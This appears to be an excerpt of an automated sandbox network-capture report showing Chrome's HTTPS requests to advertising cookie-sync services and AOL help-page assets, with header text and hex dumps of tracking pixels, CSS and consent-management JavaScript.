2024-05-23 22:35:11 UTC	650	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:10 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1003=22761-b6bfeee6-1954-11ef-855d-a248653d767a&KRTB&23275-b6bfeee6-1954-11ef-855d-a248653d767a; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:10 GMT; path=/ Set-Cookie: PugT=1716503710; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:10 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:11 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.6	50411	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	842	OUT	GET /w/1.0/sd?id=537072991&val=CAESENisdoc4RyZrBUCCVbum6Dg&google_cver=1 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; pd=v2\|1716503697\|vMgavPkWgyiK; univ_id=537072971\|8369ae03-bf51-422b-a15c-33306b0e1dfe\|1716503706850093
2024-05-23 22:35:11 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 23 May 2024 22:35:11 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.6	50406	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	572	OUT	GET /psstatic/aolhelp-prod/18.5.53/assets/modules/0.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:11 UTC	471	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 197334 Content-Type: text/css Date: Thu, 23 May 2024 22:35:11 GMT Etag: "76ce1359ba9707e41dd52ee595d64a08" Last-Modified: Mon, 06 May 2024 22:01:34 GMT Server: ECAcc (lhd/358B) Vary: Accept-Encoding x-amz-id-2: jPtswfCW+v7oCk4q4n0GIVIHJYQzp9REIudR/772jSZk+66QW4O16+joo4HgF6NZak4gNxxWrdk= x-amz-request-id: 2A1HQ224ZSVSXDHV x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 1378 Connection: close
2024-05-23 22:35:11 UTC	1378	IN	Data Raw: 2e 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6f 70 65 6e 65 72 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 7d 0a 0a 2e 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 70 61 6e 65 6c 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 70 78 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 0a 2e 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 70 61 6e 65 6c 20 6c 69 20 7b 0a 20 20 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 70 61 6e 65 6c 2e 65 78 70 61 6e 64 65 64 20 7b Data Ascii: .user-profile-opener { cursor: pointer;}.user-profile-panel { display: none; width: 100px; margin: 0; padding: 0; position: absolute; text-align: left;}.user-profile-panel li { list-style-type: none;}.user-profile-panel.expanded {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.6	50410	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	735	OUT	GET /xuid?mid=2409&xuid=ad3998d2-fd62-4225-919d-66f459efadb2&dongle=d3d3&gdpr=&gdpr_consent=&gdpr_pd= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:35:11 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:11 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:11 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:11 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:11 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.6	50225	152.195.53.200	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	522	OUT	GET /cmp.js HTTP/1.1 Host: consent.cmp.oath.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:12 UTC	502	IN	HTTP/1.1 200 OK Age: 575 Cache-Control: max-age=3600 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:11 GMT Etag: "6863ce0703ce4f482389f8a7e640e4e6+gzip+ident" Expires: Thu, 23 May 2024 23:35:11 GMT Last-Modified: Thu, 08 Feb 2024 18:14:22 GMT Server: ECD (lhc/791D) Vary: Accept-Encoding x-amz-id-2: JGZGPKyYNFFMMXa3foSSPVOms9uLH0up322Biwr5zT92ToO4Br0CT4yfNUdBXZWyMqmCY081jps= x-amz-request-id: E989PMA0R05TSR09 X-Cache: HIT Content-Length: 184464 Connection: close
2024-05-23 22:35:12 UTC	16383	IN	Data Raw: 2f 2a 21 20 43 4d 50 20 36 2e 34 2e 31 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 38 20 4f 61 74 68 20 48 6f 6c 64 69 6e 67 73 2c 20 49 6e 63 2e 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 34 31 38 34 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 28 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 Data Ascii: /! CMP 6.4.1 Copyright 2018 Oath Holdings, Inc. /!function(){var e={4184:function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof S
2024-05-23 22:35:12 UTC	16383	IN	Data Raw: 3d 73 7d 2c 35 31 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 43 6f 6d 6d 61 6e 64 3d 76 6f 69 64 20 30 3b 74 2e 43 6f 6d 6d 61 6e 64 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 2c 6e 29 7b 74 68 69 73 2e 73 75 63 63 65 73 73 3d 21 30 2c 74 68 69 73 2e 63 6d 70 41 70 69 43 6f 6e 74 65 78 74 3d 65 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 68 69 73 2c 7b 63 61 6c 6c 62 61 63 6b 3a 74 2c 70 61 72 61 6d 65 74 65 72 3a 6e 7d 29 7d 65 78 65 63 75 74 65 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 73 70 6f 6e 64 28 29 7d Data Ascii: =s},5148:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Command=void 0;t.Command=class{constructor(e,t,n){this.success=!0,this.cmpApiContext=e,Object.assign(this,{callback:t,parameter:n})}execute(){try{return this.respond()}
2024-05-23 22:35:12 UTC	16383	IN	Data Raw: 45 6e 63 6f 64 61 62 6c 65 46 69 78 65 64 42 69 74 66 69 65 6c 64 3d 76 6f 69 64 20 30 3b 63 6f 6e 73 74 20 72 3d 6e 28 33 37 39 36 29 2c 69 3d 6e 28 37 34 30 29 3b 63 6c 61 73 73 20 6f 20 65 78 74 65 6e 64 73 20 69 2e 41 62 73 74 72 61 63 74 45 6e 63 6f 64 61 62 6c 65 42 69 74 53 74 72 69 6e 67 44 61 74 61 54 79 70 65 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 73 75 70 65 72 28 29 2c 74 68 69 73 2e 6e 75 6d 45 6c 65 6d 65 6e 74 73 3d 65 2e 6c 65 6e 67 74 68 2c 74 68 69 73 2e 73 65 74 56 61 6c 75 65 28 65 29 7d 65 6e 63 6f 64 65 28 29 7b 72 65 74 75 72 6e 20 72 2e 46 69 78 65 64 42 69 74 66 69 65 6c 64 45 6e 63 6f 64 65 72 2e 65 6e 63 6f 64 65 28 74 68 69 73 2e 76 61 6c 75 65 2c 74 68 69 73 2e 6e 75 6d 45 6c 65 6d 65 6e 74 73 29 7d 64 65 63 6f 64 65 Data Ascii: EncodableFixedBitfield=void 0;const r=n(3796),i=n(740);class o extends i.AbstractEncodableBitStringDataType{constructor(e){super(),this.numElements=e.length,this.setValue(e)}encode(){return r.FixedBitfieldEncoder.encode(this.value,this.numElements)}decode
2024-05-23 22:35:12 UTC	16383	IN	Data Raw: 64 45 72 72 6f 72 3d 6e 7d 2c 31 31 30 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 4c 61 7a 79 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 3d 76 6f 69 64 20 30 3b 63 6f 6e 73 74 20 72 3d 6e 28 39 39 37 33 29 3b 63 6c 61 73 73 20 69 20 65 78 74 65 6e 64 73 20 72 2e 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 73 75 70 65 72 28 65 29 2c 74 68 69 73 2e 6e 61 6d 65 3d 22 4c 61 7a 79 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 22 7d 7d 74 2e 4c 61 7a 79 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 3d 69 7d 2c 34 35 30 34 3a 66 75 6e 63 Data Ascii: dError=n},1104:function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.LazyDecodingError=void 0;const r=n(9973);class i extends r.DecodingError{constructor(e){super(e),this.name="LazyDecodingError"}}t.LazyDecodingError=i},4504:func
2024-05-23 22:35:12 UTC	4	IN	Data Raw: 6e 67 28 29 Data Ascii: ng()
2024-05-23 22:35:12 UTC	16383	IN	Data Raw: 2c 6e 65 77 20 6f 2e 45 6e 63 6f 64 61 62 6c 65 46 6c 65 78 69 62 6c 65 42 69 74 66 69 65 6c 64 28 28 28 29 3d 3e 64 2e 67 65 74 56 61 6c 75 65 28 29 29 2c 5b 5d 29 29 2c 73 75 70 65 72 28 74 2c 5b 5b 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 56 45 52 53 49 4f 4e 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 43 52 45 41 54 45 44 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 4c 41 53 54 5f 55 50 44 41 54 45 44 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 43 4d 50 5f 49 44 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 43 4d 50 5f 56 45 52 53 49 4f 4e 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 Data Ascii: ,new o.EncodableFlexibleBitfield((()=>d.getValue()),[])),super(t,[[p.TcfCaV1Field.VERSION.toString(),p.TcfCaV1Field.CREATED.toString(),p.TcfCaV1Field.LAST_UPDATED.toString(),p.TcfCaV1Field.CMP_ID.toString(),p.TcfCaV1Field.CMP_VERSION.toString(),p.TcfCaV1F
2024-05-23 22:35:12 UTC	16383	IN	Data Raw: 31 22 3a 72 3d 21 30 2c 6e 5b 31 5d 3d 69 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 6e 65 77 20 63 2e 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 28 22 55 6e 61 62 6c 65 20 74 6f 20 64 65 63 6f 64 65 20 73 65 67 6d 65 6e 74 20 27 22 2b 74 5b 65 5d 2b 22 27 22 29 7d 7d 74 68 69 73 2e 64 65 63 6f 64 65 53 65 67 6d 65 6e 74 73 46 72 6f 6d 42 69 74 53 74 72 69 6e 67 73 28 6e 29 2c 74 68 69 73 2e 66 69 65 6c 64 73 2e 67 65 74 28 61 2e 55 73 43 74 56 31 46 69 65 6c 64 2e 47 50 43 5f 53 45 47 4d 45 4e 54 5f 49 4e 43 4c 55 44 45 44 29 2e 73 65 74 56 61 6c 75 65 28 72 29 7d 67 65 74 49 64 28 29 7b 72 65 74 75 72 6e 20 6c 2e 49 44 7d 67 65 74 4e 61 6d 65 28 29 7b 72 65 74 75 72 6e 20 6c 2e 4e 41 4d 45 7d 7d 74 2e 55 73 43 74 56 31 3d 6c 2c 6c 2e 49 Data Ascii: 1":r=!0,n[1]=i;break;default:throw new c.DecodingError("Unable to decode segment '"+t[e]+"'")}}this.decodeSegmentsFromBitStrings(n),this.fields.get(a.UsCtV1Field.GPC_SEGMENT_INCLUDED).setValue(r)}getId(){return l.ID}getName(){return l.NAME}}t.UsCtV1=l,l.I
2024-05-23 22:35:12 UTC	16383	IN	Data Raw: 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 69 66 28 65 29 7b 76 61 72 20 6e 3d 6f 2e 54 43 46 43 6f 6d 6d 61 6e 64 2e 41 44 44 5f 45 56 45 4e 54 5f 4c 49 53 54 45 4e 45 52 3b 69 66 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 75 69 6c 74 2d 49 6e 20 43 75 73 74 6f 6d 20 43 6f 6d 6d 6d 61 6e 64 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 6e 2c 22 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 3a 20 55 73 65 20 22 29 2e 63 6f 6e 63 61 74 28 6f 2e 54 43 46 43 6f 6d 6d 61 6e 64 2e 47 45 54 5f 54 43 5f 44 41 54 41 2c 22 20 69 6e 73 74 65 61 64 22 29 29 3b 69 66 28 6e 3d 6f 2e 54 43 46 43 6f 6d 6d 61 6e 64 2e 52 45 4d 4f 56 45 5f 45 56 45 4e 54 5f 4c 49 53 54 45 4e 45 52 2c 6e 75 6c 6c 3d Data Ascii: on(){function e(e){if(e){var n=o.TCFCommand.ADD_EVENT_LISTENER;if(null==e?void 0:e[n])throw new Error("Built-In Custom Commmand for ".concat(n," not allowed: Use ").concat(o.TCFCommand.GET_TC_DATA," instead"));if(n=o.TCFCommand.REMOVE_EVENT_LISTENER,null=
2024-05-23 22:35:12 UTC	16383	IN	Data Raw: 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 72 28 65 2c 74 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 75 6c 6c 3d 3d 3d 74 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 29 3a 28 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 65 77 20 6e 29 7d 29 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 50 69 6e 67 3d 76 6f 69 64 20 30 3b 76 61 72 20 6f 3d 6e 28 38 34 38 38 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 74 3d 65 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 74 2e 63 6d 70 4c Data Ascii: );function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0}),t.Ping=void 0;var o=n(8488),s=function(e){function t(){var t=e.call(this)\|\|this;return t.cmpL
2024-05-23 22:35:12 UTC	16383	IN	Data Raw: 74 61 74 65 3d 3d 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2e 44 4f 4e 45 29 69 66 28 73 2e 73 74 61 74 75 73 3e 3d 32 30 30 26 26 73 2e 73 74 61 74 75 73 3c 33 30 30 29 7b 76 61 72 20 65 3d 73 2e 72 65 73 70 6f 6e 73 65 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 74 72 79 7b 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 69 28 65 29 7d 65 6c 73 65 20 6f 28 6e 65 77 20 45 72 72 6f 72 28 22 48 54 54 50 20 53 74 61 74 75 73 3a 20 22 2e 63 6f 6e 63 61 74 28 73 2e 73 74 61 74 75 73 2c 22 20 72 65 73 70 6f 6e 73 65 20 74 79 70 65 3a 20 22 29 2e 63 6f 6e 63 61 74 28 73 2e 72 65 73 70 6f 6e 73 65 54 79 70 65 29 29 29 7d 29 29 2c 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 65 72 72 6f 72 22 Data Ascii: tate==XMLHttpRequest.DONE)if(s.status>=200&&s.status<300){var e=s.response;if("string"==typeof e)try{e=JSON.parse(e)}catch(e){}i(e)}else o(new Error("HTTP Status: ".concat(s.status," response type: ").concat(s.responseType)))})),s.addEventListener("error"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.6	50415	50.57.31.206	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	728	OUT	GET /pubmatic/1/info2?sType=sync&sExtCookieId=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&sInitiator=external&gdpr=0&gdpr_consent= HTTP/1.1 Host: uipus.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SEUNCY=7DCBA62B2341F4EF
2024-05-23 22:35:12 UTC	580	IN	HTTP/1.1 200 OK Content-Type: image/gif UIP-Response-Status: Ok Frontend-ID: 7 Set-Cookie: SEUNCY=7DCBA62B2341F4EF; Expires=Fri, 23 May 2025 22:35:11 GMT; Path=/; Domain=.semasio.net; SameSite=None; HttpOnly; Secure Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan 2011 12:00:00 GMT P3P: policyref="http://uip.semasio.net/w3c/p3p.xml", CP="NOI PSAa PSDa OUR IND UNI CNT" Pragma: no-cache Date: Thu, 23 May 2024 22:35:12 GMT Content-Length: 42 Routing-Server-ID: -1 Access-Control-Allow-Origin: * Connection: close
2024-05-23 22:35:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.6	50414	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	2480	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTQ2MSZ0bD0xMDA4MA==&piggybackCookie=AQAJiZYxp_6K7wI06V8cAQEBAQEBAQCOppb8CwEBAI6mlvwL&expiration=1716590106&nuid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:12 UTC	732	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:11 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_32=11175-AQAJiZYxp_6K7wI06V8cAQEBAQEBAQCOppb8CwEBAI6mlvwL&KRTB&22715-AQAJiZYxp_6K7wI06V8cAQEBAQEBAQCOppb8CwEBAI6mlvwL&KRTB&23519-AQAJiZYxp_6K7wI06V8cAQEBAQEBAQCOppb8CwEBAI6mlvwL; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:11 GMT; path=/ Set-Cookie: PugT=1716503711; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:11 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.6	50413	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
